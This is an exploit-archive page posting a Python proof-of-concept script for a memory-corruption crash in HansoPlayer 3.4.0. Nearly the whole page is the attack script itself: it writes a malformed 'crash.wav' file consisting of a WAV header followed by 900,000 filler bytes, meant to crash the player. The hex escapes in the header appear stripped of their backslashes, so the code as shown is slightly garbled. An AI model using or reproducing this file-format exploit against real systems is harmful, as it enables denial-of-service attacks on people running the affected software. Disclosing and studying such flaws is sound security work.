Home / exploits

PDF

HansoPlayer 3.4.0 Memory Corruption

Posted on 20 June 2015

#!/usr/bin/python

#[+] Author: Rajganesh (Raj) Pandurangan
#[+] Exploit Title: HansoPlayer 3.4.0 Memory Corruption PoC
#[+] Date: 06-17-2015
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7
#[+] Vendor: http://www.hansotools.com
#[+] Download: http://www.hansotools.com/downloads/hanso-player-setup.exe
#[+] Sites: www.exclarus.com
#[+] Twitter: @rajganeshp
#[+] Thanks: offensive security (@offsectraining)

print"###########################################################"
print"# Title: HansoPlayer 3.4.0 Memory Corruption PoC #"
print"# Author: Rajganesh Pandurangan #"
print"# Category: DoS/PoC # "
print"###########################################################"

header = ("x52x49x46x46x64x31x10x00x57x41x56x45x66x6dx74x20"
"x10x00x00x00x01x00x01x00x22x56x00x00x10xb1x02x00"
"x04x00x00x00x64x61x74x61x40x31x10x00x14x00x2ax00"
"x1ax00x30x00x26x00x39x00x35x00x3cx00x4ax00x3ax00"
"x5ax00x2fx00x67x00x0a")

exploit = header
exploit += "x41" * 900000

crash = open('crash.wav','w')
crash.write(exploit)
crash.close()

 

TOP